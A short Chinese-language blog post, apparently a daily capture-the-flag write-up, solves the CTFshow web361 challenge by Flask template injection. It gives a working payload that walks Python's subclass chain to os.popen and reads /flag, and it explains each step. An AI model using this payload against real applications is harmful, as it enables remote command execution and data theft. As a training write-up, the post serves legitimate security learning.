跳转至

每日一题 —— [CTFshow]web361

题目地址:https://ctf.show/challenges#web361-845

这一题就是一道最基本的 flask 模板注入了。根据题目提示,我们可以“名字就是考点”。所以我们传入一个叫做 name 的参数,发现我们 name 参数的值被渲染在了页面上。

于是我们使用 {{7*7}} 尝试一下,发现页面上显示了 49。确认了存在模板注入。直接构造 payload:

?name={{"".__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}

原理可以参照我上一篇博客:normalssti,在这里我就先简单地提上一嘴。

首先使用 "".__class__.__base__[0].__subclasses__() 获取到 object 的子类,然后使用 .__init__.__globals__['popen'] 获得 os.popen 方法。在这里我们直接不用任何 bypass 就可以完成 RCE, 挺奇怪的,因为在我的电脑上,空格并不能用来传参。


文章热度:0次阅读